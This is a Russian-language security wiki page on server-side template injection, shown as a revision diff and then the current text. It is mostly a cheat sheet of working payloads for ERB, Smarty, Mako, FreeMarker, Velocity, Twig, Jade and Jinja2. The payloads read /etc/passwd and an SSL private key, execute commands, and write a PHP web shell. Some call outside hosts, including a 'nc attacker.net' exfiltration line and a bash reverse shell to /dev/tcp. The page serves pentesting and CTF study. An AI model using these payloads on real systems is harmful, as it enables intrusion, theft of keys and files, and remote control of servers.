TemplateInj — различия между версиями
Материал из InformationSecurity WIKI
Drakylar (обсуждение | вклад) (Новая страница: « ==Обнаружение уязвимости== ===Определение обработчика шаблонов=== Определение обработчи…») |
Drakylar (обсуждение | вклад) м |
||
| (не показаны 2 промежуточные версии этого же участника) | |||
| Строка 3: | Строка 3: | ||
==Обнаружение уязвимости== | ==Обнаружение уязвимости== | ||
| − | |||
| − | Определение обработчика | + | |
| + | ==Определение обработчика шаблонов== | ||
| + | |||
| + | |||
[[Файл:SSTI_Flow_Chart.png]] | [[Файл:SSTI_Flow_Chart.png]] | ||
| + | |||
| + | |||
| + | ===Jade=== | ||
| + | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
| + | = 7*7 | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | |||
| + | ===Ruby/ERB=== | ||
| + | |||
| + | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
| + | <%= 7 * 7 %> | ||
| + | </syntaxhighlight> | ||
==Эксплуатация== | ==Эксплуатация== | ||
| + | ===Ruby/ERB=== | ||
| + | |||
| + | ====Название класса==== | ||
| + | |||
| + | <syntaxhighlight lang="ruby" line="1" style="overflow-x:scroll" > | ||
| + | <%= self.class.name %> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ====Методы класса==== | ||
| + | |||
| + | <syntaxhighlight lang="ruby" line="1" style="overflow-x:scroll" > | ||
| + | <%= self.methods %> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ====Параметры метода==== | ||
| + | |||
| + | <syntaxhighlight lang="ruby" line="1" style="overflow-x:scroll" > | ||
| + | <%= self.method(:handle_POST).parameters %> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ====Список переменных==== | ||
| + | |||
| + | <syntaxhighlight lang="ruby" line="1" style="overflow-x:scroll" > | ||
| + | <%= self.instance_variables %> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="ruby" line="1" style="overflow-x:scroll" > | ||
| + | <%=@server.instance_variables %> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ====Приватный ключ==== | ||
| + | |||
| + | <syntaxhighlight lang="ruby" line="1" style="overflow-x:scroll" > | ||
| + | <% ssl = @server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variable_get(:@key) %> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ====Обьект сессии==== | ||
| + | |||
| + | <syntaxhighlight lang="ruby" line="1" style="overflow-x:scroll" > | ||
| + | <%= session.class.name %> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ====Чтение файлов==== | ||
| + | |||
| + | <syntaxhighlight lang="ruby" line="1" style="overflow-x:scroll" > | ||
| + | <%= File.open('/etc/passwd').read %> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | |||
| + | ===Smarty Engine=== | ||
| + | |||
| + | ====Вызов переменной==== | ||
| + | |||
| + | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
| + | {user.name} | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | |||
| + | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
| + | ${username} | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ====RCE==== | ||
| + | |||
| + | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
| + | {php}echo `id`;{/php} | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | |||
| + | ====Запись в файл==== | ||
| + | |||
| + | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
| + | {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ===Mako=== | ||
| + | |||
| + | Используется в Python. | ||
| + | |||
| + | ====RCE==== | ||
| + | |||
| + | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
| + | <% | ||
| + | import os | ||
| + | x=os.popen('id').read() | ||
| + | %> | ||
| + | ${x} | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
| + | <% x=__import__('os').popen('id').read() %> ${x} | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ===FreeMarker=== | ||
| + | Используется в Java | ||
| + | |||
| + | ====RCE==== | ||
| + | |||
| + | <syntaxhighlight lang="java" line="1" style="overflow-x:scroll" > | ||
| + | <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") } | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | |||
| + | ===Velocity=== | ||
| + | Используется в Java и C# | ||
| + | |||
| + | ====RCE==== | ||
| + | |||
| + | Blind | ||
| + | |||
| + | <syntaxhighlight lang="java" line="1" style="overflow-x:scroll" > | ||
| + | $class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor() | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | Viewed | ||
| + | |||
| + | <syntaxhighlight lang="java" line="1" style="overflow-x:scroll" > | ||
| + | #set($str=$class.inspect("java.lang.String").type) | ||
| + | #set($chr=$class.inspect("java.lang.Character").type) | ||
| + | #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) | ||
| + | $ex.waitFor() | ||
| + | #set($out=$ex.getInputStream()) | ||
| + | #foreach($i in [1..$out.available()]) | ||
| + | $str.valueOf($chr.toChars($out.read())) | ||
| + | #end | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | |||
| + | ===Twig=== | ||
| + | |||
| + | Используется в PHP | ||
| + | |||
| + | ====RCE==== | ||
| + | |||
| + | =====allow_url_include===== | ||
| + | |||
| + | С включенным allow_url_include (проверить можно в phpinfo() ). | ||
| + | |||
| + | <syntaxhighlight lang="php" line="1" style="overflow-x:scroll" > | ||
| + | {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | |||
| + | =====Other===== | ||
| + | |||
| + | <syntaxhighlight lang="php" line="1" style="overflow-x:scroll" > | ||
| + | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ====Вызов уязвимого метода==== | ||
| + | |||
| + | =====Sandbox===== | ||
| + | |||
| + | <syntaxhighlight lang="php" line="1" style="overflow-x:scroll" > | ||
| + | {{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}} | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | |||
| + | ===Jade=== | ||
| + | |||
| + | ====RCE==== | ||
| + | |||
| + | <syntaxhighlight lang="php" line="1" style="overflow-x:scroll" > | ||
| + | - var x = root.process | ||
| + | - x = x.mainModule.require | ||
| + | - x = x('child_process') | ||
| + | = x.exec('id | nc attacker.net 80') | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ===Jinja2=== | ||
| + | |||
| + | Используется в Flask и Django | ||
| + | |||
| + | ====Config==== | ||
| + | |||
| + | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
| + | {{config}} | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ====Все переменные конфига==== | ||
| + | |||
| + | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
| + | {% for key, value in config.iteritems() %} | ||
| + | <dt>{{ key|e }}</dt> | ||
| + | <dd>{{ value|e }}</dd> | ||
| + | {% endfor %} | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ====Все используемые классы==== | ||
| + | |||
| + | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
| + | {{ ''.__class__.__mro__[2].__subclasses__() }} | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | |||
| + | ====Local File Reading==== | ||
| + | |||
| + | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
| + | {{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}} | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ====Запись в файл==== | ||
| + | |||
| + | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
| + | {{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mytest1337.py','w').write(request.headers['X-Payload'])}} | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | |||
| + | ====Local File Inclusion==== | ||
| + | |||
| + | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
| + | {{config.from_pyfile('/tmp/mytest1337.py')}} | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | |||
| + | ====RCE==== | ||
| + | |||
| + | Запись в файл + Local File Inclusion == RCE! | ||
| + | |||
| + | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
| + | {{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mytest1337.py','w').write(request.headers['X-Payload'])}}-{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mytest1337.py').read()}}-{{config.from_pyfile('/tmp/mytest1337.py')}} | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | Backconnect | ||
| + | |||
| + | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
| + | {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config | ||
| + | {{ config.from_pyfile('/tmp/evilconfig.cfg') }} # load the evil config | ||
| + | {{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # connect to evil host | ||
| + | </syntaxhighlight> | ||
==Примеры== | ==Примеры== | ||
[https://github.com/p4-team/ctf/tree/master/2018-06-23-google-ctf/web_translate Translate - Google CTF 2018] | [https://github.com/p4-team/ctf/tree/master/2018-06-23-google-ctf/web_translate Translate - Google CTF 2018] | ||
| + | |||
| + | [https://github.com/bl4de/ctf/blob/master/2017/ASIS_CTF_2017/Golem/Golem_Web_writeup.md "Golem is stupid!", Web 41pts, ASIS CTF 2017] | ||
| + | |||
| + | [https://0day.work/bsidessf-ctf-2017-web-writeups/ BsidesSF CTF 2017 web writeups] | ||
| + | |||
| + | [https://eugenekolo.com/blog/hitcon-ctf-2016-writeups/ Hitcon CTF 2016 Writeups] | ||
| + | |||
| + | [https://medium.com/bugbountywriteup/angstrom-ctf-2018-web-challenges-writeup-8a69998b0123 Angstrom CTF 2018 — web challenges] | ||
==Ссылки== | ==Ссылки== | ||
| Строка 25: | Строка 278: | ||
[https://en.wikipedia.org/wiki/Comparison_of_web_template_engines Вики - полный список template engines] | [https://en.wikipedia.org/wiki/Comparison_of_web_template_engines Вики - полный список template engines] | ||
| + | |||
| + | [https://portswigger.net/blog/server-side-template-injection portswigger tutorial] | ||
| + | |||
| + | [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20injections Подробно расписаны пейлоады] | ||
Текущая версия на 15:28, 30 июня 2018
Содержание
Обнаружение уязвимости
Определение обработчика шаблонов
Jade
= 7*7
Ruby/ERB
<%= 7 * 7 %>Эксплуатация
Ruby/ERB
Название класса
<%= self.class.name %>Методы класса
<%= self.methods %>Параметры метода
<%= self.method(:handle_POST).parameters %>Список переменных
<%= self.instance_variables %><%=@server.instance_variables %>Приватный ключ
<% ssl = @server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variable_get(:@key) %>Обьект сессии
<%= session.class.name %>Чтение файлов
<%= File.open('/etc/passwd').read %>
Smarty Engine
Вызов переменной
{user.name}
${username}RCE
{php}echo `id`;{/php}
Запись в файл
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}Mako
Используется в Python.
RCE
<%
import os
x=os.popen('id').read()
%>
${x}<% x=__import__('os').popen('id').read() %> ${x}FreeMarker
Используется в Java
RCE
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
Velocity
Используется в Java и C#
RCE
Blind
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()Viewed
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
Twig
Используется в PHP
RCE
allow_url_include
С включенным allow_url_include (проверить можно в phpinfo() ).
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
Other
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}Вызов уязвимого метода
Sandbox
{{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}
Jade
RCE
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')Jinja2
Используется в Flask и Django
Config
{{config}}Все переменные конфига
{% for key, value in config.iteritems() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}Все используемые классы
{{ ''.__class__.__mro__[2].__subclasses__() }}
Local File Reading
{{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}Запись в файл
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mytest1337.py','w').write(request.headers['X-Payload'])}}
Local File Inclusion
{{config.from_pyfile('/tmp/mytest1337.py')}}
RCE
Запись в файл + Local File Inclusion == RCE!
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mytest1337.py','w').write(request.headers['X-Payload'])}}-{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mytest1337.py').read()}}-{{config.from_pyfile('/tmp/mytest1337.py')}}Backconnect
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }} # load the evil config
{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # connect to evil hostПримеры
"Golem is stupid!", Web 41pts, ASIS CTF 2017
BsidesSF CTF 2017 web writeups
Angstrom CTF 2018 — web challenges
Ссылки
tplmap - утилита для эксплуатации
